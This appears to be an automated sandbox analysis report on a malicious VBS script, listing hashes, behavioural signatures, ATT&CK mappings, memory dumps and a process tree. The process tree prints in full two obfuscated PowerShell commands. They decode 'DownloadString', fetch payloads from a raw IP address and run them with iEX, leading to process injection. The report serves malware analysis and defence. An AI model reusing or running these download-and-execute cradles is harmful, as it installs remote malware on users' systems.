10a5a95ddae4178a39013124606a36d5694098afbaac187fa133603ea4aa2237

Analysis

max time kernel
123s
max time network
155s
platform
windows10_x64
resource
win10-en-20211208
submitted
21/01/2022, 17:32

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General

Target
RG0078KL.vbs
Size 3KB
Sample220121-v4fdlsagbj
SHA256 10a5a95ddae4178a39013124606a36d5694098afbaac187fa133603ea4aa2237
MD5 f50213e1d11c0e3ed11d5b180f80cbee
SHA1 657a5597f5b51bf0411480d97d53870a33bab7d5
SHA512 3288559cd403de1409ecb349bf57574d9322407e09bfb34ca4d91275c02e480ad4827e667185344138740ee58899ff630af62305660bb32c4a401b1fa3bf00ee
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2588	powershell.exe
20	2256	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2256 set thread context of 2500	2256	powershell.exe	73

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 2588	3064	WScript.exe	68
PID 3064 wrote to memory of 2588	3064	WScript.exe	68
PID 2588 wrote to memory of 1604	2588	powershell.exe	70
PID 2588 wrote to memory of 1604	2588	powershell.exe	70
PID 1604 wrote to memory of 2256	1604	mshta.exe	71
PID 1604 wrote to memory of 2256	1604	mshta.exe	71
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73
PID 2256 wrote to memory of 2500	2256	powershell.exe	73

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RG0078KL.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function H1($i) {$r = '' ;for ($n = 0; $n -Lt $i.LengtH; $n += 2){$r += [cHar][int]('0x' + $i.Substring($n,2))}return $r};$H2 = (new-object ('{1}{0}{2}' -f'WebCL','net.','ient'));$H3 = H1 '446f776E';$H4 = H1 '6C6f';$H5 = H1 '616473747269';$H6 = H1 '6E67';$H7 = $H3+$H4+$H5+$H6;$H8 = $H2.$H7('HttP://170.39.212.195/Ps12.txt');iEX $H8
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" C:\ProgramData\OJ9S1WAN1CF2S2RWQBRB59XGJ617USS1K\OJ9S1WAN1CF2S2RWQBRB59XGJ617USS1K.hta
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function H1($i) {$r = '' ;for ($n = 0; $n -Lt $i.LengtH; $n += 2){$r += [cHar][int]('0x' + $i.Substring($n,2))}return $r};$H2 = (new-object ('{1}{0}{2}' -f'WebCL','net.','ient'));$H3 = H1 '446f776E';$H4 = H1 '6C6f';$H5 = H1 '616473747269';$H6 = H1 '6E67';$H7 = $H3+$H4+$H5+$H6;$H8 = $H2.$H7('http://170.39.212.195/Server2.txt');iEX $H8
      4⤵
      Blocklisted process makes network request
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2256
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2256-168-0x0000025C80380000-0x0000025C80396000-memory.dmp

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memory/2256-167-0x0000025CFDFE6000-0x0000025CFDFE8000-memory.dmp

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memory/2256-160-0x0000025CFDFE3000-0x0000025CFDFE5000-memory.dmp

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memory/2256-159-0x0000025CFDFE0000-0x0000025CFDFE2000-memory.dmp

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memory/2500-169-0x0000000000400000-0x000000000040A000-memory.dmp

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memory/2500-171-0x00000000050B0000-0x00000000050B1000-memory.dmp

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memory/2500-172-0x0000000005260000-0x00000000052FC000-memory.dmp

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memory/2500-173-0x0000000005800000-0x0000000005CFE000-memory.dmp

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memory/2500-174-0x0000000005370000-0x00000000053D6000-memory.dmp

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memory/2588-134-0x000001F963590000-0x000001F963640000-memory.dmp

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memory/2588-125-0x000001F97C800000-0x000001F97C876000-memory.dmp

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memory/2588-124-0x000001F963590000-0x000001F963640000-memory.dmp

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memory/2588-123-0x000001F963590000-0x000001F963640000-memory.dmp

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memory/2588-119-0x000001F97BD10000-0x000001F97BD32000-memory.dmp

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